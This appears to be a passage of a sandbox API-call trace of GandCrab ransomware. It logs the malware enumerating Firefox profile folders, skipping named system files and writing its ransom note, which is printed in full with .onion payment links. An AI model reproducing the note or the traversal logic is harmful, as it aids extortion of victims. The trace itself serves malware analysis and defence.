[0055.098] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.098] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\") returned 75 [0055.098] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*" [0055.098] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b8170 [0055.098] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.098] FindNextFileW (in: hFindFile=0x5b8170, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.098] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.098] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.098] FindNextFileW (in: hFindFile=0x5b8170, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.098] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.098] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.098] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\GDCB-DECRYPT.txt" [0055.098] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.098] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\GDCB-DECRYPT.txt") returned 91 [0055.098] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\GDCB-DECRYPT.txt") returned 91 [0055.098] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\GDCB-DECRYPT.txt") returned 91 [0055.098] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\GDCB-DECRYPT.txt") returned 91 [0055.098] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.098] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.098] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.098] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.098] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.098] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.098] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.099] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.099] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.099] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.099] FindNextFileW (in: hFindFile=0x5b8170, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0055.099] FindClose (in: hFindFile=0x5b8170 | out: hFindFile=0x5b8170) returned 1 [0055.099] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0055.099] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.099] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.099] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\GDCB-DECRYPT.txt" [0055.099] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.099] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\GDCB-DECRYPT.txt") returned 84 [0055.099] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\GDCB-DECRYPT.txt") returned 84 [0055.099] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\GDCB-DECRYPT.txt") returned 84 [0055.099] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\GDCB-DECRYPT.txt") returned 84 [0055.099] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.099] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.099] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.099] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.099] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.099] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.099] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.099] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.099] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.099] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.099] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0055.099] lstrcmpW (lpString1="InstallTime20170518000419", lpString2=".") returned 1 [0055.099] lstrcmpW (lpString1="InstallTime20170518000419", lpString2="..") returned 1 [0055.099] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpString2="InstallTime20170518000419" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419" [0055.099] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.100] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419") returned 93 [0055.100] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419") returned 93 [0055.100] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.100] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0055.100] FindClose (in: hFindFile=0x5b83f0 | out: hFindFile=0x5b83f0) returned 1 [0055.100] FindNextFileW (in: hFindFile=0x5b8470, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0055.100] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.100] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.100] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\GDCB-DECRYPT.txt" [0055.100] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.100] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\GDCB-DECRYPT.txt") returned 70 [0055.100] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\GDCB-DECRYPT.txt") returned 70 [0055.100] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\GDCB-DECRYPT.txt") returned 70 [0055.100] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\GDCB-DECRYPT.txt") returned 70 [0055.100] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.100] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.100] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.100] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.100] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.100] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.100] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.100] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.100] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.100] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.101] FindNextFileW (in: hFindFile=0x5b8470, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0055.101] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0055.101] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0055.101] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0055.101] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0055.101] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.101] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.101] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.101] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.101] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.101] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.101] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 63 [0055.101] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*" [0055.101] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8030 [0055.102] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.102] FindNextFileW (in: hFindFile=0x5b8030, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0055.102] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.102] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.102] FindNextFileW (in: hFindFile=0x5b8030, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0055.102] lstrcmpW (lpString1="8i341t8m.default", lpString2=".") returned 1 [0055.102] lstrcmpW (lpString1="8i341t8m.default", lpString2="..") returned 1 [0055.102] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="8i341t8m.default" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default" [0055.102] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default") returned 79 [0055.102] lstrcmpW (lpString1=".default", lpString2=".sql") returned -1 [0055.102] FindNextFileW (in: hFindFile=0x5b8030, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0055.102] FindClose (in: hFindFile=0x5b8030 | out: hFindFile=0x5b8030) returned 1 [0055.102] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.102] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\GDCB-DECRYPT.txt") returned 80 [0055.102] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0055.102] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.102] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0055.103] CloseHandle (hObject=0x4fc) returned 1 [0055.103] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.103] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 63 [0055.103] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*" [0055.103] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b7f70 [0055.103] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.103] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0055.103] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.103] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.103] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0055.103] lstrcmpW (lpString1="8i341t8m.default", lpString2=".") returned 1 [0055.103] lstrcmpW (lpString1="8i341t8m.default", lpString2="..") returned 1 [0055.103] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="8i341t8m.default" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default" [0055.103] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\" [0055.103] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.104] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.104] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.104] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.104] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.104] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.104] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\") returned 80 [0055.104] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\*" [0055.104] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b81f0 [0055.105] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.105] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.106] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.106] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.106] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.106] lstrcmpW (lpString1="addons.json", lpString2=".") returned 1 [0055.106] lstrcmpW (lpString1="addons.json", lpString2="..") returned 1 [0055.106] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="addons.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json" [0055.106] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json") returned 91 [0055.106] lstrcmpW (lpString1=".json", lpString2=".sql") returned -1 [0055.106] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.106] lstrcmpW (lpString1="AlternateServices.txt", lpString2=".") returned 1 [0055.106] lstrcmpW (lpString1="AlternateServices.txt", lpString2="..") returned 1 [0055.106] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="AlternateServices.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\AlternateServices.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\AlternateServices.txt" [0055.106] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\AlternateServices.txt") returned 101 [0055.106] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0055.106] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.106] lstrcmpW (lpString1="blocklist-addons.json", lpString2=".") returned 1 [0055.106] lstrcmpW (lpString1="blocklist-addons.json", lpString2="..") returned 1 [0055.106] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="blocklist-addons.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json" [0055.106] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json") returned 101 [0055.106] lstrcmpW (lpString1=".json", lpString2=".sql") returned -1 [0055.106] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.106] lstrcmpW (lpString1="blocklist-gfx.json", lpString2=".") returned 1 [0055.106] lstrcmpW (lpString1="blocklist-gfx.json", lpString2="..") returned 1 [0055.106] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="blocklist-gfx.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json" [0055.106] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json") returned 98 [0055.106] lstrcmpW (lpString1=".json", lpString2=".sql") returned -1 [0055.106] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.106] lstrcmpW (lpString1="blocklist-plugins.json", lpString2=".") returned 1 [0055.106] lstrcmpW (lpString1="blocklist-plugins.json", lpString2="..") returned 1 [0055.106] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="blocklist-plugins.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json" [0055.106] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json") returned 102 [0055.106] lstrcmpW (lpString1=".json", lpString2=".sql") returned -1 [0055.106] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.106] lstrcmpW (lpString1="blocklist.xml", lpString2=".") returned 1 [0055.106] lstrcmpW (lpString1="blocklist.xml", lpString2="..") returned 1 [0055.106] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="blocklist.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml" [0055.106] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml") returned 93 [0055.106] lstrcmpW (lpString1=".xml", lpString2=".sql") returned 1 [0055.106] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.106] lstrcmpW (lpString1="bookmarkbackups", lpString2=".") returned 1 [0055.106] lstrcmpW (lpString1="bookmarkbackups", lpString2="..") returned 1 [0055.106] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups" [0055.106] lstrlenW 